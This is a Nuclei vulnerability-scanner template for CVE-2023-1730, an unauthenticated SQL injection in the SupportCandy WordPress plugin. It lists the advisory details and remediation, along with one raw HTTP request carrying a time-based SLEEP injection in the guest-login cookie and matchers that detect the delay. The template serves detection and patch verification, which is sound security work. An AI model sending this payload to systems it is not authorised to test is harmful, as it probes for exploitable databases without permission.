nuclei-templates/http/cves/2023/CVE-2023-1730.yaml

44 lines
1.4 KiB
YAML

id: CVE-2023-1730
info:
name: SupportCandy < 3.1.5 - Unauthenticated SQL Injection
author: theamanrawat
severity: critical
description: |
The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.
reference:
- https://wpscan.com/vulnerability/44b51a56-ff05-4d50-9327-fc9bab74d4b7
- https://wordpress.org/plugins/supportcandy/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1730
remediation: Fixed in version 3.1.5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1730
cwe-id: CWE-89
epss-score: 0.06484
cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:*
epss-percentile: 0.92801
metadata:
max-request: 1
verified: "true"
framework: wordpress
vendor: supportcandy
product: supportcandy
tags: cve,cve2023,sqli,wpscan,wordpress,supportcandy,unauth
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "supportcandy")'
condition: and